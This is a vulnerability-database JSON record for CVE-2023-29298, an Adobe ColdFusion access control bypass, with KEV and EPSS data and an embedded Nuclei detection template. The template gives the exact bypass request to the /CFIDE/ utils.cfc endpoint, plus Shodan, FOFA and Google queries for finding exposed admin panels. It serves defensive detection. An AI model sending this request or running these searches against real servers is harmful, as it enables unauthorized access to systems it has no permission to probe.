{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-29298/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-29298/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-29298/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-29298/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-29298/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-29298"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-29298"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99798,
      "kev": true,
      "percentile": 0.99957
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-29298.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2023-29298\n\ninfo:\n  name: Adobe ColdFusion - Access Control Bypass\n  author: rootxharsh,iamnoooob,DhiyaneshDK,pdresearch\n  severity: high\n  description: |\n    An attacker is able to access every CFM and CFC endpoint within the ColdFusion Administrator path /CFIDE/, of which there are 437 CFM files and 96 CFC files in a ColdFusion 2021 Update 6 install.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.\n  remediation: |\n    Apply the latest security patches or updates provided by Adobe to fix the access control bypass vulnerability.\n  reference:\n    - https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/\n    - https://helpx.adobe.com/security/products/coldfusion/apsb23-40.html\n    - https://github.com/Ostorlab/KEV\n    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors\n    - https://github.com/XRSec/AWVS-Update\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-29298\n    cwe-id: CWE-284,NVD-CWE-Other\n    epss-score: 0.99798\n    epss-percentile: 0.99957\n    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: adobe\n    product: coldfusion\n    shodan-query:\n      - http.component:\"Adobe ColdFusion\"\n      - http.component:\"adobe coldfusion\"\n      - http.title:\"coldfusion administrator login\"\n      - cpe:\"cpe:2.3:a:adobe:coldfusion\"\n    fofa-query:\n      - app=\"Adobe-ColdFusion\"\n      - app=\"adobe-coldfusion\"\n      - title=\"coldfusion administrator login\"\n    google-query: intitle:\"coldfusion administrator login\"\n  tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}//CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - ([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}\n\n      - type: dsl\n        dsl:\n          - contains(content_type, \"text/html\")\n          - status_code == 200\n          - len(trim_space(body)) == 106\n        condition: and\n# digest: 4b0a00483046022100f18ffc38f2f4bae96e3dcb5242fb3e25c02501abd94bddcfecb0d23c851eb43b022100a12307b3b75febbd72df56dcf12da2dd73fb75ec3bb34361aa0b685b6ad10a10:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-29298"
}